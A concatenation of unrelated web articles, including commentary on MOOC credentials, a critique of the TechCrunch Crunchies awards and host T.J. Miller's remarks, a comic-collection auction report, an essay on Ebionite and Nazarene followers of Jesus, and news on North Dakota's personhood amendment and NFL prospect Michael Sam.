If the first generation of MOOCs was simply a catalog of free courses, today’s MOOCs are created with more intentionality and, for learners, practical outcomes. The concept behind online courses still remains the same, but the packaging has evolved. That the “Big Three” MOOC providers are now focused on making credentials matter—whether through Nanodegrees, Specializations or course credits—signals a maturation in offering a clearer value proposition. (From the company’s perspective, it also helps that credentials have now become the business model that so many have asked about.)
In 2016, we can expect to see a lot more credentials and credits. But as MOOC providers try to aggressively monetize, early adopters may find that critical components of the learning experience will no longer be free.
Dhawal Shah is the founder and CEO of Class Central
Image Credit: Flickr user cogdogblog, shared under CC BY 2.0 licensePostcards for EVERYONE! (Do you want one? - READ)
Postcards for EVERYONE! (Do you want one? - READ)
Hey! While at E3, I got 30 of these cool (and exclusive) Ubisoft postcards given out to attendees of the Ubisoft E3 2016 conference.
This is where you come in! Earlier this month, I mentioned (on twitter) that I'll be giving them away to Patreon supporters, and that's what this post is about.
I'll be writing a personalized message on them, signing them and shipping them off worldwide, just to show my support to everyone who is an early supporter of the Patreon page.
If you want them, I'll need to know where to send them though! If you'd like to receive a Ubisoft game related postcard please message me your FULL shipping address details. To send a message, you can use the feature on the page or go to https://www.patreon.com/messages and write a new message directed at me (maka91productions).
Don't worry, I won't share your address with anyone else, and I won't send you annoying Christmas cards either! This is just for the postcards, and only if you want one!
I will also include PO Box information for the return address, and publicly announce the details of the PO Box for any viewers interested in sending anything to the show. :)
PS. There are more patrons than postcards, so if there aren't enough for the requests, I will select people based on tier and random draw although I think there should be enough for everyone!
PPS. This is NOT sponsored in any way.Possibly the least-traditional interpretation of pizza imaginable has helped land a Frenchman the top prize at the Pizza World Championships held in Parma, Italy over the weekend. Frenchman Ludovic Bicchierai's bouillabaisse-inspired pie took top honors at the 25th annual competition, for which he won a pizza gong and 1,000 kilograms of free flour (to make more bouillabaisse pizzas, presumably).
"This is the second time I've taken part in the competition, but this year I thought I'd use the traditional French fish soup as my inspiration," Bicchierai told French news site The Local.
The pizza — which was topped with tomatoes, bream carpaccio, mozzarella, courgette flowers, prawns, and Tabasco sauce — was the latest in thoroughly French takes on classic Italian dishes. Earlier this month, a French cooking video offering a very nontraditional take on pasta carbonara (complete with crème fraîche and onion) was met with outrage from Italians.
As untraditional as it may be, seafood stew is hardly the worst thing to happen to pizza in recent years. Pizza Hut has famously stuffed a multitude of things into the crusts of its pizza, including cheeseburgers, Marmite, and hot dogs.For the past eight years, TechCrunch has hosted a bizarro tech world version of the Oscars called the Crunchies. The industry gets all dolled up, walks the "green carpet," and watches Silicon Valley insiders present trophies for categories like "Best On-Demand Service" and "Best Overall Startup." At the eighth annual Crunchies last Thursday, the best startup award was handed to Uber CEO Travis Kalanick, while outside demonstrators protested Uber’s privacy violations, treatment of its drivers, and distaste for the rule the law. One sign said, "UBER DESERVES A HIGH KALANICK."
It is not lost on TechCrunch that the founders and investors celebrated at the Crunchies are no longer starved for attention or validation. Perhaps to introduce a little more awareness of the bubbling absurdity, in recent years TechCrunch stopped using its own writers as emcees and hired comedians. You can watch the Crunchie intros get more caustic as the class tension rises. Last year, John Oliver told the audience: "You’re no longer the underdogs, it’s very important you realize that," and then riffed on ways they were "pissing off an entire city."
The Crunchies get more caustic as the class tension rises
The real joke, of course, is that a tech blog got Oliver to show up in the first place. This time, TechCrunch got T.J. Miller from HBO’s Silicon Valley, to host at Davies Symphony Hall. Twice, he referred to himself as a court jester. "That’s why you invited me here. That’s how fucked up all of you are," he said.
But the mood of the audience didn’t seem masochistic to me. Like Ricky Gervais at the Golden Globes, Oliver and Miller were paid to hassle the audience just enough to allow everyone to enjoy an extended evening of self-congratulations with a clean conscience.
Then, mid-way through, Miller began to make the same missteps as Gervais. Within the span of a few minutes, Miller called a woman a bitch three times and casually threw out a racist remark. (You can watch the video here starting at about the 1:34:00 mark.) The first instance was when an audience member annoyed him by taking a flash photo.
Miller: That’s the perfect time to take flash photography. That shows how tech savvy you are. There’s three buttons you can choose: flash on, flash off, or auto, a.k.a. being kind of a rude bitch.
The audience groaned, and Miller encouraged their disappointment.
Miller: Whoaaaaah. I couldn’t wait to come to San Francisco, you guys are so cool about being teased. You’re not that precious here.
A few minutes later, Miller had another off-the-cuff interaction, this time with Gabi Holzwarth, a violinist who plays at tech parties and the girlfriend of Travis Kalanick. She piped up after Miller made fun of Kalanick and Shervin Pishevar, a venture capitalist invested in both Uber and Shyp, a delivery company where Holzwarth started working. (Pishevar did not attend the event.)
Miller: And the Crunchie for not constantly stepping in shit goes to Travis Kalanick. So does the Crunchie for constantly stepping in shit. Guys, if you’re worried they’re here, talk to Sherv, he’s down with it. Holzwarth: [inaudible] Miller: Is that Sherv? How are you doing, Sherv? Wait did a woman just say that’s me? Hey, look, Asians aren’t supposed to be this entitled in the United States.
The audience groaned again.
Miller: And that’s why you guys will never be as loved as Los Angeles. It’s all too precious, you can’t joke about it. She’s yelling that she’s Shervin Pishevar. Are you fucking nuts? That guy has seeded the most successful companies in the tri-state area and I’m talking about California, you bitch. Holzwarth: Did you just call me a bitch? Miller: I did not call you a bitch. I called Shervin Pishevar a bitch, but you seem to think you’re him.
Shortly after that, Miller spotted Holzwarth’s dog on her lap and asked her to explain how she got it into the venue.
Miller: Miss do you have your dog here? Is that real? Hold it up so everyone can see. [Cracks up] Oh my god, I’m going to ask you not to be funnier than the comedian tonight.
Then, he asked her to explain Shyp:
Miller: [to Holzwarth] You press a button? A physical button or a digital button? [to audience] What is this bitch from Palo Alto?
These are all examples of punching down, even if Holzwarth keeps interacting with him and there's some light-heartedness in between. Perhaps inured to it at this point, the audience just laughs.
The next morning, Katie Jacobs Stanton, Twitter’s vice president of global media, who was at the Crunchies to accept Twitter’s award for "Biggest Social Impact," wrote a piece on Medium called "My first and last time at the Crunchies." She mentioned the bitch incident (although the quote is a little off) and said she was thankful she hadn’t brought her daughter to the event. Ouch. Reports from Recode and Daily Dot also emphasized Miller’s remarks towards women.
By Saturday, AOL exec Ned Desmond had issued an apology, along with a rather patronizing history lesson implying that those who were offended just didn’t get the jokes. TechCrunch also confirmed that Miller would not be invited back.
If you were present, or watching the live stream, you might have been startled, if not offended, by some of the remarks that the host, standup comedian T.J. Miller made on stage. It’s also possible you found a lot of the show hilarious, which many people did. There is no definitive line between funny and offensive. Comedy has a long history of being used as a tool for satire and commentary. Many at TechCrunch, however, feel badly about some elements of T.J.’s performance. The use of derogatory slang to refer to women or minority groups is unacceptable at any event TechCrunch runs, period. And we know many others feel the same way, even if it’s hard to find the words to say so. We’re sorry.
This is the second apology for sexist remarks at a TechCrunch event made in as many years. It served Desmond well, conveniently turning the focus to Miller, who is representative of a certain breed of comedian, not the tech industry. I love the show Silicon Valley. I laughed at many of Miller's jokes that night, at least before he over-indulged in something backstage and turned the closing remarks into a dizzy loop-de-loop. If AOL was concerned with making women feel welcome, Miller's history of sexist jokes is easy to find. But blaming Miller distracts from all the cringe-worthy, if not offensive elements at the Crunchies that were not "startling" in the slightest.
The succession of men on stage started to look like a parade of lawsuits
For example, at some point in the evening, the succession of men on stage started to look like a parade of lawsuits. Between Snapchat CEO Evan Spiegel; the co-founders of YikYak; Sean Rad, the former CEO of Tinder; and TechCrunch founder Michael Arrington, there were three allegations of stolen co-founder titles from close friends, one sexual harassment lawsuit, and one suit for defamation. Arrington filed the defamation suit, against his ex-girlfriend Jenn Allen for alleging that he physically abused and raped her. Arrington was giving out the Crunchie for "CEO of the Year," which went to Marc Benioff, the Salesforce CEO and philanthropist who encouraged other companies to join him in his 1 -1 -1 pledge. Describing Benioff on stage, Arrington said: "Sometimes somebody is so good you want to punch him in the face."
You could see the myth-making that smooths away those rough edges happen over the course of the evening. In his acceptance speech for "VC of the Year," Jim Goetz from Sequoia Capital gestured at the "group of Southern boys that are building a herd," referring to the co-founders of YikYak, the anonymous gossip app that recently secured a $400 million valuation. "A year ago we were just two Southern boys playing ping pong," they said when YikYak accepted the Crunchie for "Fastest Rising Startup."
The unofficial prize for the most ongoing lawsuits, of course, goes to Kalanick, who is currently facing a potential class action from drivers who allege they have been denied the rights of full-time employees. If the Crunchie voters were being real, they would have given Kalanick "CEO of the Year," too. He’s the executive everyone in Silicon Valley wants to be.
It is naive to expect much from an awards show. (It's an awards show!) Why would the Crunchies celebrate diversity or true technological innovation when the industry itself doesn't prioritize that? Making Miller a scapegoat helps mask deeper issues.
It's naive to expect much from an awards show (It's an awards show!)
This was not the year for self-awareness. This was not the year for fear about what happens if the funding dries up or the profits never materialize. They could invite Miller to make fun of them because nothing really stung. You may resent us, but you can't keep up with us. Miller's interminable closing bit was one long haymaker, spinning in circles and only punching himself. He said at least a handful of different versions of the sentence: You are shaping American culture and maybe global culture. The only difference I can put forth is starring in Garfield 3D. Oliver sung a similar tune in 2012, telling the Crunchies: "You’ve done companies that changed the world, I’ve voiced a Smurf."
The Crunchies reinforce the certainty that these startups have already made a difference, which may explain the lackluster response to the civics segment of the show. Angel investor and philanthropist Ron Conway, the white-haired "godfather of Silicon Valley" reprimands the crowd like a disappointed principal for shirking their duties as a citizen of San Francisco or the South Bay (for him, the East Bay doesn’t exist). After Conway scolds the audience, he touts the achievements of Sf.citi, a civic group for tech companies that's widely regarded to be a dud, despite his efforts. Last year, Conway took the podium with Mayor Ed Lee, a man-sized political puppet. This time, the local official was London Breed, the first female president of San Francisco's Board of Supervisors in 16 years.
Breed talked about growing up down the street in a public housing development in an apartment with five people that cost $700 per month. She appealed to the bootstrappers in the audience — the presenters for "Best Bootstrapped Startup" acknowledged that the days of self-sufficiency are over. "You have created new jobs and new revenues for the city," she said, "Yet right or wrong your success has also created tension." Breed acknowledged the protestors outside, and she almost had me until she added, "But to them I say, 'What is your solution?'"
Silicon Valley prides itself on a solutionist worldview. Founders are told to think of a problem and then build a company that solves it. They invent problems no one has just to say it's been fixed. She should have asked the auditorium.Even if you’re a casual reader of comic book news, you may have heard the tragic story of Gary Dahlberg‘s death. A retired bus driver in Minneapolis, Dahlberg was killed last year when the kitchen of his home caught fire. He’d been a comic book collector since he was a child, and somehow, almost impossibly, his extensive comic book collection escaped damage from both the fire and the fire fighters’ water hoses. 407 comic books from his collection sold for $1.38 Million at Heritage’s May Signature Auction in NY last week.
62 years old when he died in June 2010, Dahlberg would have been about 10 years old as the Silver Age was getting underway in the mid/late 1950s. An important and exciting time to be entering your prime comic book reading age. Imagine being a kid and picking up Fantastic Four #1, Amazing Fantasy #15 (first appearance of Spider-Man), and Tales of Suspense #39 (first appearance of Iron Man), and all the rest off the racks as they came out. Gary did that.
The collection includes extensive runs of Marvel, DC Comics, and other publishers from the Silver Age and beyond. And as vintage comics sales expert Rob Larsen has noted in research he has in progress, the collection contains examples for a particularly impressive number of the top Marvel and DC Silver Age keys such as Adventure Comics #247 (first Legion of Super-Heroes), Showcase #4 (first Barry Allen Flash), Showcase #22 (first Hal Jordan Green Lantern), Incredible Hulk #1, Fantastic Four #1, Amazing Fantasy #15, and more.
Dahlberg was an avid — and meticulous — comic book fan his entire life. Working for a bookstore while he was in high school in the 1960s, Dahlberg was able to choose his copies before they were placed on the racks for sale. That advantage and the great care he took in handling them, plus the cool Minnesota climate, makes his comics– designated by CGC as the Twin Cities pedigree –among the best-preserved Silver Age collections to ever surface. Many books in the collection are top-census copies (determined to be the highest grade of a given issue among copies certified by CGC so far) and even among those that aren’t structurally the best, observers have been impressed with the white pages and fresh, bright cover inks — the result of that cool northern climate.
Dahlberg’s family had little idea of his collection’s value. Bidders present at Heritage’s NYC auction venue last week noted that members of his family were quietly surprised at the prices realized and moved by the experience of watching other collectors affirm that what was important to Gary was important to other comic book fans as well. Dahlberg will be remembered for what he left his family and the comic collecting community for quite some time.
Special thanks to auction attendee Bob Siman for the above photo. Check out some selected hilights from the Twin Cities pedigree below (click through a couple times to get bigger versions):
About Mark Seifert Co-founder and Creative director of Bleeding Cool parent company Avatar Press. Bleeding Cool Managing Editor, tech and data wrangler. Machine Learning hobbyist. Vintage paper addict.
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None foundHuman nose-witnesses identify criminals in a lineup of body odor
By Alice Rolandini Jensen, Frontiers science writer
Move over sniffer dogs, people who witnessed a crime are able to identify criminals by their smell. Police lineups normally rely on sight, but nose-witnesses can be just as reliable as eye-witnesses, new research published in Frontiers in Psychology has found.
“Police often use human eye-witnesses, and even ear-witnesses, in lineups but, to date, there have not been any human nose-witnesses;” explained Professor Mats Olsson, experimental psychologist at the Karolinska Institutet in Sweden; “We wanted to see if humans can identify criminals by their body odor.”
Dogs have been used to identify criminals through body odor identification in court, but it is commonly thought that the human sense of smell is inferior to that of other mammals. However, research shows that humans have the ability to distinguish individuals by their unique body odor. Our olfactory sense is often associated with emotional processing and is directly linked to the areas of the brain associated with emotion and memory; the hippocampus and the amygdala.
To find out more about human odor memory following stressful events, Olsson and his team investigated how well we identify body odor in a forensic setup. In their first study, participants watched video clips of people committing violent crimes, accompanied by a body odor that they were told belonged to the perpetrator.
They also watched neutral videos, with a similar setup. Then they identified |
one team on any given day if they play anywhere close to their capabilities.
In the media, Manchester City are seemingly the clear favourite for the crown, but we've seen how quickly can change as they've gone five games without a win and now they definitely look vulnerable.
Their squad as a whole is extremely strong. In goal, they have one of the best in the league with Thibaut Courtois an extremely reliable pair of hands, and who can forget that solid defence led by captain and their leader, John Terry.
Chelsea's midfield is arguably the best in the country, with Nemanja Matic and N'Golo Kante forming the perfect blend of tough tackling and the ability to run the game. They also have players like Cesc Fabregas who is struggling to get a look-in at the moment.
They are most exciting in the final third of the field, though. Diego Costa is looking like a man possessed who is thoroughly enjoying playing under Conte, and is scoring goals for fun whilst keeping a lid on that horrendous temper of his. Who can forget about their most talented asset in Eden Hazard; The clever little Belgian looks back to his best as he put Manchester United to the sword on Sunday afternoon, and Chelsea will definitely need him to continue thriving.
Onto the man himself - Antonio Conte. As we've mentioned, his style is something that will take time to implement and impose on a new dressing room, and the switch to a 3-4-3 won't be easy. We've seen how effective that can be, though. Just look at how well the Italian national side did in the European Championships and his Juventus team before that. His passion rubs off on his players, and if they all buy into his philosophies and ideas, they'll be a formidable opponent.
You'd imagine that Chelsea going under the radar is ideal for them as it definitely keeps a load of the pressure off. Conte and his coaching staff can go about their business quietly. When May comes around, the Stamford Bridge club will definitely be right up there if they can keep improving at such a dramatic rate, and with the players they have, it'd be absolutely daft to rule them out of a first Premier League title since Jose Mourinho left.When the history books are written about them (and, let’s face it, an awful lot of books have already been published on this very subject), we’ll see that Ayrton Senna’s legacy will always overshadow that of his main nemesis, Alain Prost.
But let’s not lose sight of the fact that Ayrton only rose to such great heights in his near-obsessive quest to best the Frenchman, who was sat firmly atop grand prix racing’s pantheon when the pair became team-mates in 1988.
Not least because Alain had already incontestibly proved himself: he’d won the world title in 1985, and then again in ’86 – against considerable odds; and he should probably have won it in ’84 (but lost by half a point), and ’83 (but lost out to a rival car that many feel was perhaps a little too flexible with some of that year’s technical regulations). It’s not a great stretch to pin the ’82 and ’81 championship medals to his chest either – then consider the fact that he only started racing grand prix cars in 1980 and you get an idea of just how jaw-droppingly brilliant the little French guy actually was.
Still don’t believe us? Here are 9 good reasons why you need to change your opinion on the greatest driver in McLaren’s history. Greatest? Yes, you heard right…
1. Mechanical sympathy
Drove every lap of the 1986 Belgian Grand Prix in a Mclaren whose steering column was so bent he had to steer it at France to avoid inadvertently driving there. From the back of the field, set fastest lap on the way to 6th place: everyone else would have ended up in the field
2. Nickname
When coined, Prost’s nickname was practically derogatory: cerebral, cold, calculating: but 30 years A Brief History of Time, Mysteries of the Universe and Alive Till I’m Dead later and suddenly everyone wants to be The Professor.
3. That overtaking move
Thanks to a Mistral wind carrying half the Montpellier coastline with it, much of the Paul Ricard circuit resembles a sandpit, yet Alain sold Ayrton an off line, 160mph 1988 race-winning dummy. Only a Timeshare salesman's marketing of the track as a beach holiday would have been more audacious
4. That outfit change
Convinced his 1988 Estoril lap was untouchable long before qualifying had finished, Alain eschewed Ayrton's metaphysical introspections in favour of pragmatic psychological warfare, jumping straight from car and race suit to pitlane and leisure wear: daring anyone to either better his time or his wardrobe. The Brazilian failed - and he didn't go faster.
5. Eco warrior
Priapic men wrestling fire-breathing 1,500 bhp monsters, Alain shunned the 1980s F1 stereotypes: saving equipment, saving fuel; he’d have saved the whale if it had given him a chance of victory. Every time he took the top step, economising became more alluring. Twenty five years before the sport caught on, Alain proved green could be good.
6. Drove Nelson Piquet off the road
Like a loutish guest being forcibly ejected from a wedding, the man who questioned Ayrton’s sexuality, the attractiveness of Mansell’s wife and intelligence of her husband was unceremoniously bundled off the road at Zandvoort in 1983. A noble act of redemption, (considering the Brazilian had never actually said anything derogatory about the Frenchman): and really funny.*
7. Brave
As the only driver to pull out of the woeful, biblically sodden 1989 Australian Grand Prix, proved himself sadly the only alumnus of Kenny Rogers’ Coward of the County lesson. Ayrton’s desperate, furious 11 lap virtuoso cameo ironically highlighted Prost’s prescience: “sometimes you walk away to prove you’re a man.”
8. With fellow countrymen like these…
No such Mansell-Mania or Ayrton-Accolytes for Alain: all 6 (record) home victories won against a Mexican Wave of Gallic shrugs: “the trouble is, the French don’t really like winners,” he related. Plus ca change, plus c’est la meme chose, Alain.
9. You’d lend him your car
Alain’s cars, “always came back in perfect condition,” John Watson related – unlike Ayrton’s. “I had this Mazda and he drove it like…well: like he would here,” his old Formula Ford boss said, pointing at Snetterton's Bomb Hole corner; “it never really worked after that.” Lesson: send Alain, not Ayrton to get the milk.
*especially since he hadn’t said it yetDespite its habit of eating dragon younglings, humans still fear and revile the Ichneumon, as it's just as likely to kill and eat livestock and people.
Other features of Ichneumon-
A small patagium for surviving longer falls.
Long quills and a large thick mane protect the creatures neck and head.
Thick fur helps ward off burns from vengeful dragons.
Long tail for balancing in precarious situations.
Fangs sporting venom like that of the shrew.
The Steppe Ichneumon is more likely to be found inhabiting lower elevations than its larger snowy relative the Mountain Ichneumon. It enjoys lunging into rivers after small wyrms and dragging them out onto the shore to eviscerate. The Ichneumon must be quick doing this, lest the wyrm is able to get its coils around the creature and suffocate it, or bite the Ichneumon with venomous fangs. As the Ichneumon is also venomous, the first bite tends to settle the encounter.Josephus reports four main sects or schools of Judaism: Pharisees, Sadducees, Essenes, and Zealots. The earliest followers of Jesus were known as Nazarenes, and perhaps later, Ebionites, and form an important part of the picture of Palestinian Jewish groups in late 2nd Temple times.
The Ebionite/Nazarene movement was made up of mostly Jewish/Israelite followers of John the Baptizer and later Jesus, who were concentrated in Palestine and surrounding regions and led by “James the Just” (the oldest brother of Jesus), and flourished between the years 30-80 C.E. They were zealous for the Torah and continued to walk in all the mitzvot (commandments) as enlightened by their Rabbi and Teacher, but accepted non-Jews into their fellowship on the basis of some version of the Noachide Laws (Acts 15 and 21). The term Ebionite (from Hebrew ‘Evyonim) means “Poor Ones” and was taken from the teachings of Jesus: “Blessed are you Poor Ones, for yours is the Kingdom of God” based on Isaiah 66:2 and other related texts that address a remnant group of faithful ones. Nazarene comes from the Hebrew word Netzer (drawn from Isaiah 11:1) and means “a Branch”—so the Nazarenes were the “Branchites” or followers of the one they believed to be the Branch. The term Nazarene was likely the one first used for these followers of Jesus, as evidenced by Acts 24:5 where Paul is called “the ringleader of the sect of the Nazarenes.” Here we see the word used in a similar way to that of Josephus in writing of the four sects/schools of Judaism: Pharisees; Sadducess; Essenes; and Zealots. So the term Nazarene is probably the best and broadest term for the movement, while Ebionite (Poor Ones) was used as well, along with a whole list of other terms: Saints, Children of Light, the Way, New Covenanters, et al. We also know from the book of Acts that the group itself preferred the designation “The Way” (see Acts 24:14, 22, etc.). The term “Christian,” first used in Greek speaking areas for the movement, actually is an attempt to translate the term Nazarene and basically means a “Messianist.”
The Essenes (possibly from ‘Ossim, meaning “Doers of Torah”), who wrote or collected the Dead Sea Scrolls, pioneered certain aspects of this “Way” over 150 years before the birth of Jesus. They were a wilderness (out in the Arava, near the Dead Sea–based on Isaiah 40:3), baptizing (mikveh of repentance as entrance requirement into their fellowship), new covenant, messianic/apocalyptic group (they were expecting three redemptive Figures—the Prophet like Moses and his two Messiahs), that saw themselves as the remnant core of God’s faithful people—preparing the Way for the return of YHVH’s Glory (Kavod) as set forth in Isaiah 40-66. They too referred to themselves as the Way, the Poor, the Saints, the New Covenanters, Children of Light, and so forth. Perhaps their most common designation was the Yachad–the brotherhood or community, and they referred to themselves as brother and sister. They were bitterly opposed to the corrupt Priests in Jerusalem, to the Herods, and even to the Pharisees whom they saw as compromising with that establishment to get power and influence from the Hellenistic/Roman powers. They had their own developed Halacha (interpretation of Torah), some aspects of which Jesus picks up (ideal of no divorce, not using oaths, etc.). They followed one they called the True Teacher (Teacher of Righteousness) whom most scholars believe lived in the 1st century B.C.E. and was opposed and possibly killed by the Hasmonean King/Priests at the instigation of the Pharisees. John the Baptizer seems to arise out of this context and rekindle the apocalyptic fervor of the movement in the early decades of the first century C.E.
So, the terminology is flexible; there are a variety of self-designations used by the Jesus movement, most of which had previously been used by the Essenes. In that sense you might call the Jesus movement a further developed messianic “Essenism,” modified through the powerful, prophetic influence of Jesus as Teacher.
Later, when Christianity developed in the 3rd and 4th centuries and gradually lost its Jewish roots and heritage, largely severing its Palestinian connections, the Gentile, Roman Catholic Church historians began to refer to Ebionites and Nazarenes as two separate groups—and indeed, by the late 2nd century there might have been a split between these mostly Jewish followers of Jesus. The distinction these writers make (and remember, they universally despise these people and call them “Judaizers”), is that the Ebionites reject Paul and the doctrine of the Virgin Birth or “divinity” of Jesus, use only the Hebrew Gospel of Matthew, and are thus more extreme in their Judaism. They describe the Nazarenes more positively as those who accept Paul (with caution) and believe in some aspect of the divinity of Jesus (virgin born, etc.). What we have to keep in mind in reading these accounts from the Church fathers is that they are strongly prejudiced against this group(s) and claim to have replaced Judaism entirely with the new religion of Christianity, overthrowing the Torah for both Gentile and Jew.
I think it best today to use the collective term Ebionite/Nazarene in an attempt to capture the whole of this earliest movement, and it would be useful to revive the term Yachad as a collective designation for the community of the Hasidim/Saints. I use Ebionite/Nazarene as an historical designation to refer to those original, 1st century, largely Palestinian followers of Jesus, gathered around Yaaqov (James) in Jerusalem, who were zealous for the Torah, but saw themselves as part of the New Covenant Way inaugurated by their “True Teacher” Jesus. James is a key and neglected figure in this whole picture. As the blood brother of Jesus, authority and rights of guidance were passed on to him. When he was brutally murdered in 62 C.E. by the High Priest Ananus (see Josephus, Antiquities 20.197ff), Simeon, a second brother [sic “cousin” according to Hegesippus] of Jesus took over the leadership of the Jerusalem based movement. Clearly we have the idea here of a blood-line dynasty, and according to the Gospel of Thomas, discovered in 1946 in upper Egypt, this dynastic succession was ordained by Jesus himself who tells his followers who ask him who will lead them when he leaves: “No matter where you are, you are to go to James the Just, for whose sake heaven and earth came into being” (GT 12). Indeed, when Simeon was crucified by the Emperor Trajan around 106 C.E., a third brother of Jesus, Judas, took over the leadership of the community.
As far as “beliefs” of the Ebionites, the documents of the New Testament, critically evaluated, are among our best sources. There are fragments and quotations surviving from their Hebrew Gospel tradition (see see A. F. J. Klijn, Jewish-Christian Gospel Tradition, E. J. Brill, 1992), as well as the text of “Hebrew Matthew” preserved by Ibn Shaprut, and now published in a critical edition by George Howard (The Hebrew Gospel of Matthew, Mercer University Press, 1995). Based on what we can reliably put together from other sources we can say the Ebionite/Nazarene movement could be distinguished by the following views:
1) Jesus as the Prophet like Moses, or True Teacher (but not to be confused with YHVH God of Israel), who will anoint his Messiahs on his right and left hand when he is revealed in power following his rejection and death. These two figures, the Davidic Nasi (Prince of the Yachad) and Priest, will rule with him in the Kingdom of God.
2) Disdain for eating meat and even the Temple slaughter of animals, preferring the ideals of the pre-Flood diet and what they took to be the original ideal of worship (see Gen 9:1-5; Jer 7:21-22; Isa 11:9; 66:1-4). A general interest in seeking the Path reflected in the pre-Sinai revelation, especially the time from Enoch to Noah. For example, divorce was shunned, even though technically it was later allowed by Moses.
3) Dedication to following the whole Torah, as applicable to Israel and to Gentiles, but through the “easy yoke” halacha of their Teacher Jesus, which emphasized the Spirit of the Biblical Prophets in a restoration of the “True Faith,” the Ancient Paths (Jeremiah 6:16), from which, by and large, they believed the establishment Jewish groups of 2nd Temple times had lost.
4) Rejection of the “doctrines and traditions” of men, which they believed had been added to the pure Torah of Moses, including scribal alterations of the texts of Scripture (Jeremiah 8:8).
How the earliest group(s) viewed Paul is unclear. By some reports he was tolerated or accepted as one who could go to the Gentiles with a version of the Nazarene message (Acts 15, 21). Others apparently believed he was an apostate from the Torah and founder of a new religion—Christianity.Brian Baskin reports:
If interest in anything smacking of clean energy is so high, why are ocean energy projects still waiting for the tide to come in?
In theory, generating power from the ocean’s waves seems like an easy sell. It’s a potentially massive, clean, domestic, constant source of energy that doesn’t depend on the vagaries of the weather or unsightly turbines. State governments—and soon, the federal government—are encouraging and mandating greater use of clean energy.
Yet the same utilities and investors that tinkered with wind and solar farms for decades aren’t showing the same patience for waves.
“The window for true innovation will only be open for so long…and then the demand for renewable energy will be filled by existing technologies,” said Ed Feo, head of the renewables practice at the law firm Milbank, Tweed, Hadley & McCloy, in an e-mail. “I hope the window for (wave) energy doesn’t close before the industry has products ready for prime time.”
Wave power faces four primary obstacles…On Friday the North Dakota state House passed the first personhood amendment in the United States, marking the first time in U.S. history that a legislative body has approved a personhood amendment in both the House and the Senate. The historic vote, 57-35, allows the amendment to be referred to North Dakota citizens for a vote.
According to SCR 4009, “the inalienable right to life of every human being at any stage of development must be recognized and protected.”
Heraldonline.com reports that the amendment was written to ensure that both mother and baby are treated as medical patients, that medical care is not inhibited, and that fertility treatments are not banned.
LifeSiteNews.com reports that every major pro-life organization in North Dakota has supported SCR 4009.
“The North Dakota legislature has taken historic strides to protect every human being in the state, paving the way for human rights nationwide,” said Keith Mason, president of Personhood USA.
Mason added:
This amendment strikes the balance of accomplishing more for the unborn than any other amendment the nation has ever seen, while protecting pregnant women and their right to true medical care. We applaud the North Dakota House and Senate for their willingness to protect all of the people in their state.
“The North Dakota personhood amendment takes the pro-life plank of the GOP platform and puts it into practice,” said Gualberto Garcia Jones, J.D., legal analyst for Personhood USA. “Furthermore, it allows the legislature the needed flexibility to implement the specific protections of the right to life through future legislation.”
The state House also passed two other pro-life bills, one that demands that abortion doctors have admitting privileges to hospitals (SB 2305), and another that places a ban on abortions past 20 weeks and also bans taxpayer funding from going to organizations that provide abortions (SB 2368).
Last week, the state legislature also passed a “heartbeat bill,” which could ban abortions as early as six weeks, and a ban on abortions for genetic conditions such as Down’s Syndrome.
The bills will now go to Gov. Jack Dalrymple (R) for his signature. Paul Maloney, executive director of North Dakota Right to Life told LifeSiteNews.com that his group has “always had faith” in Dalrymple and expects him to sign the bills.
“I’m extremely proud of my state for the statement that they’ve made to the country,” Maloney said. “I guess it’s in the hands of the courts.” Maloney’s statement referenced the reality that the bills will almost certainly be subject to legal challenges.
“We applaud North Dakota for defending life,” said Concerned Women for America CEO and President Penny Nance. “The bills in North Dakota protect the lives of the most innocent Americans, those without a voice, in the womb.”
Nance added, “Hopefully these bills will start a national discussion about what life is and our duty as a civil society to protect it. It starts in the states.”USA Today
Updates from Thursday, Feb. 13
Just two days after Michael Sam Sr. spoke out about his son's major announcement, he now claims he was "terribly misquoted" by the New York Times according to Brandon Williams of the Galveston Daily News (subscription required).
John Breech of CBS Sports has the details:
Specifically, Sam Sr. denies that he told the Times he's a'man-and-a-woman type of guy.' The elder Sam also denies that he said he didn't want his 'grandkids raised in that kind of environment.' "I did not say anything about my grandkids," Sam Sr. said on Wednesday. The Sam family is from Hitchcock, Texas, a small town just outside of Galveston. The New York Times piece also quotes Sam Sr. as saying that NFL Hall of Famer Deacon Jones is probably 'turning over in his grave' because of the younger Sam's announcement. The Times article made that quote come across as somewhat negative, even saying that Sam Sr. grumbled the quote. However, the elder Sam says that quote was meant to be positive. "I told them that Deacon Jones is going to roll over in his grave because here comes my son and that's he's going to be a star in the NFL," Sam Sr. said. In Wednesday's interview with the Daily News, the elder Sam came out in full support of his son. "My son did the right thing, and I am not against him at all. He has made a great statement in coming out, and that he should be able to play in the NFL. I love him unconditionally," Sam Sr. said. "Once he gets on the field and hits (someone) once, they won't think he's gay."
Original Text
NFL prospect Michael Sam has taken the sports world by storm with his public proclamation on Sunday that he is gay. The former Missouri Tigers defensive end was Co-Defensive Player of the Year in the SEC this past season and will likely be selected in the 2014 NFL draft, making history in the process.
But while Sam has received a lot of support over the past year from his teammates and recently from the media, Missouri fans and others, his father hasn't been as quick to accept Sam's sexual orientation.
Joe Drape, Steve Eder and Billy Witz of The New York Times reported that Michael Sam Sr. was celebrating his birthday at a local Denny's restaurant in the Dallas area last Tuesday when his son text messaged him: "Dad, I'm gay."
It shook Sam Sr. to the point that he was unable to finish his meal.
"I couldn’t eat no more, so I went to Applebee’s to have drinks,” said Sam Sr. “I don’t want my grandkids raised in that kind of environment...I’m old-school. I’m a man and a woman type of guy."
The Times piece is an extended feature, profiling Michael Sam's childhood, including some of the difficulties his siblings faced. The article led ESPN's Keith Law to weigh in with an explosive take:
The stance Sam Sr. takes is in stark contrast to widespread praise his son has garnered for his courageous decision to come out before the draft.
Sam took to Twitter for the first time to express his gratitude for the support from the NFL, as well as ESPN and The New York Times, as Chris Connelly and John Branch first reported on Sam's news for the outlets respectively:
The tribute some Tigers faithful paid to Sam in the Columbia snow is also worth seeing:
Although he did say that he loves his son and wants him to continue thriving as he hits the next stage of his football career, there is still an inner dilemma going on for Sam Sr., who also remarked that Hall of Fame defensive end Deacon Jones would be "turning over in his grave."
"As a black man, we have so many hurdles to cross,” said Sam Sr. “This is just one [Sam] has to cross.”
Sam Sr. raised his son in a rough environment, which caused the football star to say that the circumstances he faced in his youth were far more adverse than the consequences he braced for in his barrier-breaking announcement.
“I’m closer to my friends than I am to my family,” said Sam, who often stays with his friends rather than his family when he returns home to visit. Sam said his family gained an air of infamy in his hometown of Hitchcock, Texas, per The New York Times report:
